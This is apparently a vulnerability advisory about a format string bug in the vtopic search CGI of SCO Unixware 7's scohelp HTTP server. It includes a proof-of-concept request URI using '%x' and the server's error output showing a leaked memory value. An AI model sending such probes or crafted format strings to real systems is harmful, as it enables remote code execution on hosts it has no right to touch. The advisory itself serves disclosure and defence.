Unixware 7.0 - SCOhelp HTTP Server Format String

source: https://www.securityfocus.com/bid/1717/info

SCO Unixware 7 default installation includes scohelp, an http server that listens on port 457/tcp and allows access to manual pages and other documentation files. The search CGI script provided for that purpose has a vulnerability that could allow any remote attacker to execute arbitrary code on the vulnerable machine with privileges of user "nobody". This poses a threat that could result in the remote compromise of the vulnerable host and provide a staging point from where an attacker could escalate privileges. 

There is a user supplied format string bug in the vtopic CGI script that could be abused to execute arbitrary code. By sending a request with the following URI:

http://target:457/search97cgi/vtopic?Action= FilterSearch&filter=&queryText=%25x

The server will elicit the following response:
--
Internal error: STR_sprintf: Invalid format (Error E1-0142 (Query
Builder): Invalid character '%' (0x25))

Result
Search failed: -40

Result
Error E1-0142 (Query Builder): Invalid character '

Result
Error E1-0130 (Query Builder): Syntax error in query string near
character 1

Result
Error E1-0133 (Query Builder): Error parsing query: 81888e0

Result
VdkSearchNew failed, error -40

Result
Request failed for REQUEST_METHOD=, QUERY_STRING=

Component
Component (vsearch) failed in processing request, -2

Action
Action (FilterSearch) failed while processing request in component
(vsearch), -2

Service Manager
Action (FilterSearch) failed in processing request, -2
S97IS Service manager failed to process request
--

Note that the line:
Error E1-0133 (Query Builder): Error parsing query: 81888e0

This shows that the server is interpreting the %x argument passed in the URI as the "queryText" value. Supplying a carefully built value for the queryText argument an attacker can change the program flow and execute arbitrary code.